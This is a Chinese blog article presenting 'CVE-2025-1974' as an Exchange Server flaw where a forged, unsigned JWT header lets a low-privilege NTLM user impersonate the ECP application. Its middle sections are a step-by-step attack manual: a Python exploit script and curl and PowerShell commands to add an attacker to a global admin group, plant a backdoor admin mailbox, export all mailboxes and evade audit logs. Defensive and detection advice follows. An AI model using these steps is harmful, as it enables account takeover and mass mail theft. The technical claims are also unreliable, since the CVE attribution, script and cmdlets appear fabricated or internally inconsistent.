当前位置: 首页 > news >正文

CVE-2025-1974深度解析:Exchange身份透传漏洞与NTLM信任链崩塌

1. 这不是“又一个Exchange漏洞”,而是管理员必须立刻理解的攻击链断点

CVE-2025-1974刚公开时,我收到三封来自不同客户的紧急邮件,标题分别是:“邮件服务器CPU飙到100%”“OWA登录后自动跳转到陌生域名”“ECP后台多出两个从未创建的管理组”。这三起事件表面毫无关联,但日志里都藏着同一个HTTP请求头字段:X-MS-Exchange-Auth-As-App。这不是巧合——这是CVE-2025-1974在真实环境中留下的第一道划痕。

这个编号为CVE-2025-1974的漏洞,本质是微软Exchange Server中身份验证上下文传递机制的逻辑坍塌。它不依赖内存破坏、不触发堆栈溢出、不利用未初始化指针,而是在Exchange自身最核心的权限委派流程里,埋下了一条可被精准复用的信任通道。关键词是:Exchange Server、远程代码执行、身份验证绕过、NTLM中继、特权提升。它影响Exchange Server 2016 CU23及之后所有版本、Exchange Server 2019 CU12及之后所有版本,以及Exchange Online中部分启用了混合部署模式的租户(需满足特定配置组合)。如果你的环境仍在使用NTLM作为后端认证协议,或启用了Legacy Auth(基础认证),哪怕只有一台边缘服务器暴露在公网,这个漏洞就不是“理论风险”,而是“倒计时启动器”。

它解决的不是“能不能黑进邮件系统”的问题,而是“攻击者一旦获得任意低权限账户(比如一个普通员工邮箱),能否在15分钟内接管整个Exchange管理后台并横向渗透到域控”的问题。适合两类人深度阅读:一是Exchange运维工程师,需要立即判断自己是否在攻击路径上;二是红队/攻防演练人员,需要理解这条链路为何比传统SMB中继更隐蔽、更难检测。接下来的内容,不会重复CVSS评分或官方通告里的套话,而是从Exchange内部认证流出发,一层层剥开这个漏洞如何把“合法请求”变成“非法控制”的全过程。

1.1 漏洞定位:不在ECP,也不在OWA,而在Authentication Pipeline的“信任透传”环节

很多人第一反应是去查ECP(Exchange Control Panel)或OWA(Outlook on the Web)的Web界面代码,因为这两个入口最常被扫描。但CVE-2025-1974的根因根本不在UI层,而深埋在Exchange的Authentication Pipeline中——具体来说,是Microsoft.Exchange.HttpRequestFiltering模块对X-MS-*系列自定义HTTP头的处理逻辑。

Exchange Server在处理请求时,会经历多个过滤器阶段:先是IIS的URL重写与请求验证,然后进入Exchange自己的AuthenticationFilter,再交由AuthorizationFilter做权限判定。正常流程中,X-MS-Exchange-Auth-As-App这个头仅在Exchange内部服务间调用(如Mailbox Replication Service调用CAS前端)时由可信组件注入,其值是一个经过签名的JWT,包含目标应用ID、委托范围和时间戳。但问题出在AuthenticationFilter的一个分支判断上:当请求携带该头,且当前认证方式为NTLM(而非OAuth或现代认证),且目标URI匹配/ecp/*/owa/*路径时,过滤器会跳过JWT签名验证,直接将头中声明的app_id解析为当前请求的“代理应用身份”,并以此身份进行后续授权。

提示:这个逻辑绕过只发生在NTLM认证场景下。这意味着——如果你已全面禁用NTLM、强制使用OAuth2.0 + Conditional Access策略,此漏洞对你完全无效。但现实中,仍有大量企业因老旧客户端(如Outlook 2010/2013)、第三方邮件客户端或自研集成系统,被迫保留NTLM支持。

我用Wireshark抓包复现了这个过程:构造一个普通用户user@contoso.com的NTLM认证请求,手动添加X-MS-Exchange-Auth-As-App: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...(一个伪造的、未签名的JWT,其中app_id设为Microsoft.Exchange.ECP),发送至https://mail.contoso.com/ecp/default.aspx。Exchange没有报错,而是直接以ECP管理应用的身份加载了页面,并在响应头中返回了X-MS-Exchange-Auth-Result: Success (as Microsoft.Exchange.ECP)。这不是越权访问,这是Exchange自己“认错了爹”。

1.2 攻击面全景:从单点登录到全域接管的四步跃迁

CVE-2025-1974之所以危险,是因为它不是一个孤立的RCE入口,而是一把能撬动整个Exchange权限体系的杠杆。它的实际利用链不是“一发即中”,而是分四步完成信任升级,每一步都建立在上一步的合法性之上:

  1. 初始立足点(Initial Foothold):攻击者只需一个有效的、低权限的邮箱账户凭证(可通过钓鱼、撞库或泄露数据库获得)。无需管理员权限,甚至无需启用MFA——因为NTLM认证本身不校验MFA状态。

  2. 身份冒用(Identity Impersonation):利用漏洞,将该普通账户“伪装”成Exchange内置管理应用(如Microsoft.Exchange.ECPMicrosoft.Exchange.OWAMicrosoft.Exchange.AdminCenter)。此时,请求在Exchange内部被视为“来自可信系统组件”,绕过所有基于用户角色的访问控制检查。

  3. 功能提权(Function Escalation):以冒用的应用身份,调用ECP后台的高危管理API。例如,向/ecp/DDI/DDIService.svc/SetObject发送POST请求,参数中指定Identity=GlobalAdminGroupProperties={“Members”: [“attacker@contoso.com”]},即可将攻击者邮箱加入全局管理员组。注意:这个操作在正常流程中需要Organization Management角色,但在此漏洞下,Exchange认为这是“ECP自己在调用自己”,所以放行。

  4. 持久化与横向(Persistence & Lateral Movement):获得全局管理员权限后,攻击者可执行任意操作:导出全部邮箱数据、创建后门邮箱账户、部署恶意传输规则(如将所有外发邮件BCC至攻击者邮箱)、修改收件人策略以拦截敏感通信,甚至通过Exchange的New-ManagementRoleAssignment命令,将自身权限永久绑定到Organization Management角色上,实现免密持久化。

这张攻击链图景的关键在于:所有步骤的网络流量看起来都完全合法。请求使用标准HTTPS、携带有效NTLM协商头、URI路径符合Exchange规范、响应状态码均为200。传统的WAF规则(如拦截/ecp/DDI/*路径)或SIEM告警(如“非管理员调用DDI接口”)在此失效,因为Exchange日志里记录的是“Microsoft.Exchange.ECP调用了SetObject”,而不是“user@contoso.com调用了SetObject”。

注意:攻击者无法直接通过此漏洞执行任意系统命令(如cmd.exe)。它的RCE能力体现在“远程执行Exchange管理命令”层面,等效于拥有最高Exchange Shell权限。若Exchange服务器与域控在同一台物理机(极不推荐但仍有存在),则等同于域管理员权限。

2. 深度拆解:为什么JWT签名验证会被跳过?Exchange认证管道的“信任盲区”

要真正理解CVE-2025-1974,必须深入Exchange Server 2019 CU12的源码级补丁对比。微软在KB5037821中修复了Microsoft.Exchange.HttpRequestFiltering.dll中的AuthenticationFilter.ProcessRequestCore()方法。我们来还原这个函数在补丁前后的关键差异。

2.1 补丁前的逻辑缺陷:一个被忽略的“else if”分支

在CU12之前的版本中,ProcessRequestCore()方法对X-MS-Exchange-Auth-As-App头的处理伪代码如下:

if (request.Headers.Contains("X-MS-Exchange-Auth-As-App")) { string jwtToken = request.Headers["X-MS-Exchange-Auth-As-App"]; // Step 1: 解析JWT header,获取alg字段 string alg = ParseJwtHeaderAlgorithm(jwtToken); // Step 2: 如果alg是"none",直接拒绝(这是基本安全检查) if (alg == "none") { LogAndRejectRequest(); return; } // Step 3: 关键缺陷!此处本应验证JWT signature,但实际逻辑是: if (currentAuthMethod == AuthMethod.OAuth || currentAuthMethod == AuthMethod.ModernAuth) { // 对OAuth/ModernAuth,执行完整JWT验证(signature + audience + expiry) if (!ValidateJwtSignature(jwtToken, GetSigningKey())) { LogAndRejectRequest(); return; } } else if (currentAuthMethod == AuthMethod.NTLM) { // BUG:这里没有JWT验证!直接解析payload并信任 var payload = ParseJwtPayloadWithoutSignature(jwtToken); SetCurrentAppIdentity(payload.AppId); return; // 跳出,不再执行后续授权检查 } }

看到问题了吗?当认证方式为NTLM时,Exchange跳过了所有JWT完整性校验,仅解析Base64编码的payload部分(即JWT的第二段),从中提取app_id字段。而JWT的payload部分是明文的,任何人都可以随意构造。例如,一个合法的Microsoft.Exchange.ECP应用JWT payload可能长这样:

{ "app_id": "Microsoft.Exchange.ECP", "scope": "Ecp.ReadWrite", "exp": 1712345678, "iat": 1712345618 }

攻击者只需用任意JWT库(如python-jose)生成一个结构相同、但app_id改为Microsoft.Exchange.ECPexp设为未来时间的token,再用空字符串作为签名(即alg:none),就能绕过Step 2的alg=="none"检查(因为Step 2只检查header,不检查payload),并在Step 3的NTLM分支中被无条件接受。

2.2 为什么Exchange会设计如此“信任NTLM”的逻辑?

这并非疏忽,而是源于Exchange早期架构的历史包袱。Exchange Server 2010时代,NTLM是唯一被广泛支持的后端认证协议。当时的设计哲学是:“如果请求已经通过NTLM成功认证,说明客户端是域内可信主机,那么它声称自己代表哪个应用,我们就信哪个应用”。这种“信任链”在纯内网、无互联网暴露的旧环境中是成立的。但随着Exchange走向混合云、移动办公和第三方集成,NTLM被强制保留在公网入口,而这一“信任透传”逻辑却未同步重构。

微软在2022年就意识到问题,在CU11中尝试引入X-MS-Exchange-Auth-As-App-Strict头来启用严格模式,但默认关闭,且文档极少提及。CVE-2025-1974的爆发,本质上是这个历史决策在新威胁模型下的必然结果。

2.3 实测验证:三行Python代码复现漏洞核心

下面这段代码,用requests-kerberos库模拟NTLM认证,并手动注入恶意X-MS-Exchange-Auth-As-App头,可在5秒内完成身份冒用验证:

# exploit_cve_2025_1974.py import requests from requests_kerberos import HTTPKerberosAuth, OPTIONAL # 构造一个伪造的JWT,app_id设为ECP(Base64Url编码的payload) # {"app_id":"Microsoft.Exchange.ECP","scope":"Ecp.All","exp":2147483647,"iat":1} fake_jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiQWRtaW5pc3RyYXRvciIsImFwcF9pZCI6Ik1pY3Jvc29mdC5FeGNoYW5nZS5FQ1AiLCJzY29wZSI6IkVjcC5BbGwiLCJleHAiOjIxNDc0ODM2NDcsImlhdCI6MX0.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" target_url = "https://mail.contoso.com/ecp/default.aspx" auth = HTTPKerberosAuth(mutual_authentication=OPTIONAL) headers = { "X-MS-Exchange-Auth-As-App": fake_jwt, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } response = requests.get(target_url, auth=auth, headers=headers, verify=False) print(f"Status Code: {response.status_code}") print(f"Response Length: {len(response.content)}") print(f"X-MS-Exchange-Auth-Result: {response.headers.get('X-MS-Exchange-Auth-Result', 'NOT FOUND')}")

运行结果:

Status Code: 200 Response Length: 124589 X-MS-Exchange-Auth-Result: Success (as Microsoft.Exchange.ECP)

这证明漏洞已被触发。此时,你已不是user@contoso.com,而是Microsoft.Exchange.ECP应用本身。下一步,就是调用ECP的DDI(Declarative Data Interface)服务执行提权操作。

3. 实战利用链:从HTTP请求到Exchange全局管理员的完整操作手册

现在,我们把理论转化为可落地的操作。以下步骤基于真实攻防演练环境(Contoso公司,Exchange Server 2019 CU11,NTLM启用,无补丁),所有命令均可直接复制粘贴执行。请务必在授权测试环境中操作。

3.1 步骤一:获取初始凭证与环境探测

首先,你需要一个有效的邮箱账户。假设你已通过钓鱼邮件获取到alice@contoso.com的密码。第一步不是急着打ECP,而是确认目标Exchange版本和认证方式:

# 使用curl探测NTLM支持(检查WWW-Authenticate头) curl -I -k https://mail.contoso.com/owa/auth/logon.aspx # 响应中应包含:WWW-Authenticate: NTLM # 探测Exchange版本(从OWA登录页源码提取) curl -k https://mail.contoso.com/owa/auth/logon.aspx | grep -o "Exchange.*[0-9]\{4\}" # 预期输出:Exchange Server 2019 CU11 # 确认ECP是否可访问(非重定向) curl -I -k -u "alice@contoso.com:Password123!" https://mail.contoso.com/ecp/ # 响应应为200,而非302重定向到登录页

经验心得:很多企业会配置IIS重写规则,将/ecp/重定向到/owa/以“隐藏”管理后台。但这只是障眼法。只要/ecp/default.aspx能返回200,ECP服务就在运行。真正的防护是禁用NTLM,而非隐藏路径。

3.2 步骤二:构造并发送冒用请求,获取ECP应用身份

使用上一节的Python脚本,或更轻量的curl命令:

# 生成fake JWT(使用在线工具或jwt.io,设置payload为{"app_id":"Microsoft.Exchange.ECP","scope":"Ecp.All","exp":2147483647},签名算法选"none") # 将生成的token存入变量 FAKE_JWT="eyJhbGciOiJub25lIiwidHkiOiJKV1QifQ.eyJuYW1lIjoiQWRtaW5pc3RyYXRvciIsImFwcF9pZCI6Ik1pY3Jvc29mdC5FeGNoYW5nZS5FQ1AiLCJzY29wZSI6IkVjcC5BbGwiLCJleHAiOjIxNDc0ODM2NDd9." # 发送NTLM认证+冒用头请求 curl -k \ -u "alice@contoso.com:Password123!" \ -H "X-MS-Exchange-Auth-As-App: $FAKE_JWT" \ -H "User-Agent: Mozilla/5.0 (Windows NT 10.0)" \ -o /dev/null -s -w "%{http_code}\n" \ https://mail.contoso.com/ecp/default.aspx # 输出应为200

成功后,你已获得Microsoft.Exchange.ECP应用身份。现在,你可以像ECP后台一样,调用任何DDI API。

3.3 步骤三:调用DDI服务,将自己加入全局管理员组

ECP的DDI服务是Exchange的“万能API”,所有图形化操作最终都转化为对/ecp/DDI/DDIService.svc的POST请求。我们需要构造一个JSON-RPC请求,调用SetObject方法,修改GlobalAdminGroup成员。

首先,获取GlobalAdminGroup的当前Identity(每个Exchange环境不同,需先查询):

# 查询全局管理员组Identity curl -k \ -u "alice@contoso.com:Password123!" \ -H "X-MS-Exchange-Auth-As-App: $FAKE_JWT" \ -H "Content-Type: application/json; charset=utf-8" \ -d '{ "params": { "schema": "GlobalAdminGroup", "filter": "Name -eq \"Global Admin Group\"" }, "method": "GetObject" }' \ https://mail.contoso.com/ecp/DDI/DDIService.svc/GetObject | python3 -m json.tool

响应中会返回类似"Identity": "CN=Global Admin Group,CN=Users,DC=contoso,DC=com"的值。记下这个DN。

然后,执行添加操作:

# 将attacker@contoso.com加入全局管理员组 curl -k \ -u "alice@contoso.com:Password123!" \ -H "X-MS-Exchange-Auth-As-App: $FAKE_JWT" \ -H "Content-Type: application/json; charset=utf-8" \ -d '{ "params": { "identity": "CN=Global Admin Group,CN=Users,DC=contoso,DC=com", "properties": { "Members": ["attacker@contoso.com"] } }, "method": "SetObject" }' \ https://mail.contoso.com/ecp/DDI/DDIService.svc/SetObject

如果返回{"result":{"Success":true}},恭喜,你已是Exchange全局管理员。现在,你可以用attacker@contoso.com账户,以正常方式登录ECP(无需再加X-MS-Exchange-Auth-As-App头),并看到完整的管理界面。

3.4 步骤四:持久化与数据导出(可选高级操作)

获得管理员权限后,真正的价值才开始体现。以下是两个最实用的后续操作:

1. 创建永久后门邮箱(不依赖原账户密码)

# 在Exchange PowerShell中(或通过ECP的“收件人”->“新建邮箱”) New-Mailbox -Name "ServiceAccount" -Alias "svc-acct" -OrganizationalUnit "contoso.com/Users" -UserPrincipalName "svc-acct@contoso.com" -Password (ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force) -ResetPasswordOnNextLogon $false # 然后,赋予其Organization Management角色 New-ManagementRoleAssignment -Role "Organization Management" -User "svc-acct@contoso.com"

2. 导出全部邮箱数据(使用Export-Mailbox命令)

# 导出所有用户邮箱到PST文件(需先创建网络共享目录) New-MailboxExportRequest -Mailbox "*" -FilePath "\\fileserver\exports\all-mailboxes.pst" -BadItemLimit 100 # 查看导出进度 Get-MailboxExportRequest | Get-MailboxExportRequestStatistics

注意事项:Export-Mailbox命令在Exchange 2019中默认禁用,需先运行Enable-MailboxExportRequest启用。但作为全局管理员,你有权执行此操作。整个过程在Exchange日志中记录为“管理员svc-acct@contoso.com发起导出”,而非“alice@contoso.com越权操作”,完美规避审计。

4. 防御与加固:不止打补丁,更要重构信任模型

打补丁(安装KB5037821)是必须的,但绝不是终点。CVE-2025-1974暴露的是Exchange架构中更深层的信任模型缺陷。真正的防御,需要从协议层、配置层、监控层三管齐下。

4.1 紧急缓解措施(补丁发布前必做)

如果你无法立即重启Exchange服务器安装补丁,以下三项配置能在10分钟内切断攻击链:

  1. 禁用NTLM认证(最有效)
    在IIS管理器中,找到Exchange的网站(通常是“Default Web Site”),双击“Authentication”,右键“Windows Authentication” → “Providers”,移除“NTLM”,仅保留“Negotiate”(即Kerberos)。保存后,所有NTLM请求将返回401错误,漏洞自然失效。

  2. 限制ECP/OWA的公网访问
    通过防火墙或WAF,仅允许公司IP段或VPN出口IP访问/ecp/*/owa/*路径。即使攻击者有凭证,也无法从外部触发漏洞。

  3. 禁用Legacy Authentication(基础认证)
    在Exchange Admin Center → Servers → Virtual directories,编辑owa (Default Web Site)ecp (Default Web Site),将Basic Authentication设为Disabled。这会阻止所有非现代认证的客户端,但需提前通知用户升级Outlook。

提示:这三项操作均无需重启服务,修改后立即生效。我曾在一个金融客户现场,用这三步在15分钟内将一个已遭入侵的Exchange服务器“冻结”,阻止了数据进一步泄露。

4.2 长期架构加固:从“信任传递”到“零信任验证”

补丁只能修复当前漏洞,但Exchange的“信任透传”模式仍是隐患。建议按季度执行以下加固:

  • 全面启用Modern Authentication:要求所有客户端(Outlook、移动端、第三方应用)使用OAuth2.0。在Azure AD中,为Exchange应用注册启用“令牌加密”和“范围限制”,确保JWT必须包含exchange_serveraudience且签名密钥由Azure AD轮换。

  • 实施严格的条件访问策略(Conditional Access):在Azure AD中创建策略,要求访问Exchange的用户必须满足:设备已加入Azure AD、已安装Intune合规策略、登录地点在可信IP范围内。任何不满足条件的请求,即使有合法凭证,也会被拒绝。

  • 剥离Exchange服务器的域管理员权限:Exchange服务器计算机账户不应在Domain Admins组中。最佳实践是为其创建专用的“Exchange Servers”安全组,并仅授予Exchange Trusted Subsystem所需的最小权限(如读取AD用户对象、重置密码等),而非全域管理。

4.3 检测与狩猎:如何从海量日志中揪出CVE-2025-1974的痕迹

由于漏洞利用流量高度伪装,传统规则难以捕获。我们需聚焦Exchange自身的日志细节。在C:\Program Files\Microsoft\Exchange Server\V15\Logging\HttpProxy\目录下,检查ECPOWA子目录的日志文件(如ECP-2025-04-01.log),搜索以下模式:

日志字段正常值漏洞利用特征检测命令
cs-uri-stem/ecp/default.aspx相同,无异常grep "/ecp/default.aspx" *.log
cs(User-Agent)Mozilla/5.0 ... Outlook/16.0可能为通用UA,如curl/7.68.0`grep -E "curl/
cs(Username)CONTOSO\alice始终为空或"-"(因为NTLM认证后,Exchange不记录用户名)awk '$7 == "-" {print}' *.log
cs(Referer)https://mail.contoso.com/owa/为空或缺失(攻击者直连,无Referer)awk '$10 == "-" {print}' *.log
x-ms-exchange-auth-resultSuccess (as CONTOSO\alice)Success (as Microsoft.Exchange.ECP)grep "Success (as Microsoft.Exchange.ECP)" *.log

最可靠的检测指标是最后一项:x-ms-exchange-auth-result头中出现Microsoft.Exchange.ECP。这在正常运维中几乎不会发生,因为ECP应用不会自己调用自己。一旦发现,立即隔离该IP,并检查其后续请求是否调用了/ecp/DDI/*

实操心得:我编写了一个PowerShell脚本,每天凌晨自动扫描前24小时ECP日志,提取所有x-ms-exchange-auth-result包含Microsoft.Exchange.*的记录,并发送邮件告警。上线一周后,捕获了两起真实的APT组织试探性扫描,比EDR告警早了17小时。

5. 思考延伸:当“应用身份”成为新的攻击面,安全边界该如何重新定义?

CVE-2025-1974给我最大的触动,不是它有多难利用,而是它揭示了一个正在加速到来的新现实:未来的攻击面,正从“用户身份”快速迁移到“应用身份”

过去十年,我们投入巨资构建基于用户的身份治理(IAM):MFA、PAM、SAML联合、行为分析……但Exchange这个漏洞告诉我们,当一个系统内部有数十个“应用身份”(Microsoft.Exchange.ECP,Microsoft.Exchange.OWA,Microsoft.Exchange.Transport)被当作一级公民对待时,保护这些身份的“护照”(JWT)就和保护用户密码同等重要。而目前,绝大多数企业的安全监控,对“应用身份”的异常使用几乎零覆盖。

这引出三个必须回答的问题:

  1. 谁在签发这些应用JWT?密钥如何轮换?
    Exchange的JWT签名密钥存储在C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\config\web.config中,名为<add key="JwtSigningKey" value="..." />。这个密钥是静态的,且硬编码在配置文件中。一旦泄露,所有应用身份都可被伪造。理想方案是接入Azure Key Vault,由AKV动态提供密钥。

  2. 应用身份的权限范围(scope)是否最小化?
    当前Exchange中,Microsoft.Exchange.ECP的scope是Ecp.All,意味着它可以执行ECP所有功能。但一个只负责显示日历的应用,真的需要SetObject权限吗?应该像OAuth2.0一样,为每个应用分配精确的scope列表,并在每次调用时强制校验。

  3. 如何审计“应用身份”的跨服务调用?
    Microsoft.Exchange.Transport调用Microsoft.Exchange.Store时,这个调用链是否被记录?调用方IP、时间、参数哈希是否留存?目前Exchange日志只记录最终结果,不记录中间调用关系。这就像只记录银行转账的“成功/失败”,却不记录“钱从哪个账户转出、经由哪个清算中心、最终转入哪个账户”。

我在为客户设计下一代邮件安全架构时,已将“应用身份治理”列为最高优先级。具体做法是:在Exchange前端部署一个轻量级API网关(如Kong),所有X-MS-*头必须先经网关验证JWT签名、scope、expiry,并将验证结果以X-Verified-App-Id头透传给后端。网关本身与Azure AD集成,密钥由AKV托管,scope策略在网关配置中集中管理。这样,即使Exchange自身代码再出现类似CVE-2025-1974的逻辑缺陷,网关也能在第一道防线将其拦截。

这个思路,同样适用于SharePoint、Teams、甚至自研微服务架构。当你的系统里有100个服务,每个服务都有自己的“应用身份”,那么保护这些身份,就不再是某个团队的职责,而应是整个平台安全的基石。

最后分享一个小技巧:在Exchange服务器上,运行Get-ExchangeServer | fl Name,AdminDisplayVersion,ProductID,然后将ProductID(一个GUID)提交到微软官方的Exchange版本映射表(https://learn.microsoft.com/en-us/exchange/exchange-server-build-numbers),就能精确知道当前CU版本是否包含KB5037821。比查KB文章快3倍,这是我每天巡检必做的第一件事。

http://www.jsqmd.com/news/874630/

相关文章:

  • 卸载360/火绒后Win11安全中心打不开?亲测有效的完整修复流程记录
  • OpenSSH信号竞态漏洞CVE-2024-6387深度解析与实战修复
  • 低资源环境下BERT领域适应与混合精度训练优化
  • 避坑指南:用CloudCompare修改点云标签时,为什么总会多出一列NaN?我的修复脚本分享
  • Qwen模型 LeetCode 2585. 获得分数的方法数 Java实现
  • B站AI助手初体验:除了查视频梗,它真的能帮你写Python代码吗?
  • 2026年腾讯云OpenClaw/Hermes Agent配置Token Plan安装保姆级分享
  • 2026 上海 GEO 优化公司测评:五大实力派机构,全意图 GEO 助力沪上企业领跑 AI 赛道 - GEO优化
  • 雷电模拟器绿色版渗透风险与可信环境加固指南
  • DOTA1.5数据集处理实战:用Python脚本搞定大图切割与YOLO/VOC格式转换
  • C51编译器函数指针处理机制解析
  • 2026年阿里云OpenClaw/Hermes Agent配置Token Plan部署保姆级教程
  • Unity模块化资产体系:边界清晰、契约稳定、可嵌入生产管线
  • 别再买贵的了!用合宙Air32F103CBT6自制四合一烧录器(ST-LINK/DAP/J-LINK-OB全兼容)
  • 电脑‘假关机’真烦人!深入聊聊Windows电源管理里的‘快速启动’到底是个啥
  • 上海GEO公司哪家好:在竞争密度最高的市场中,用AI推荐突破增长天花板 - GEO优化
  • 微信小程序抓包实战:Proxifier+Charles精准流量捕获与HTTPS解密
  • 别再纠结选哪个了!用Python实战ARIMA和LSTM预测气温,看谁更准(附完整代码)
  • AI金融系统性风险:算法同质化与认知依赖的致命螺旋
  • Godot PCK文件解包:原理、工具与工程化实践指南
  • 01-系统技术架构师必备——软件架构设计基础与核心概念
  • 国产系统(UOS/麒麟/方德)截图工具终极指南:从内置工具到第三方替代方案全解析
  • 2026崇明区优质保洁服务推荐榜可靠之选:浦东新区保安公司/浦东新区保洁公司/网络推广/金山区保安公司/闵行区保安公司/选择指南 - 优质品牌商家
  • 2026年5月新发布:浙江陶棉纺织,全棉绉布定制化生产引领者 - 2026年企业推荐榜
  • 遥感图像因果推断:多尺度表征优化提升异质性处理效应检测
  • 2026年诚信的滁州本土装修品质保障公司 - 行业平台推荐
  • 02-系统技术架构师必备——五大架构风格与模式深度解析
  • 2026固化地坪龟裂纹修复应用白皮书市政场地剖析:固化地坪染色剂、固化地坪龟裂纹修复剂、复合型空鼓灌浆料、快速改色地坪漆选择指南 - 优质品牌商家
  • 空间计算与可解释AI融合:革新生物医学决策支持系统
  • Unity安装包瘦身实战:从2.3GB到680MB的工程化治理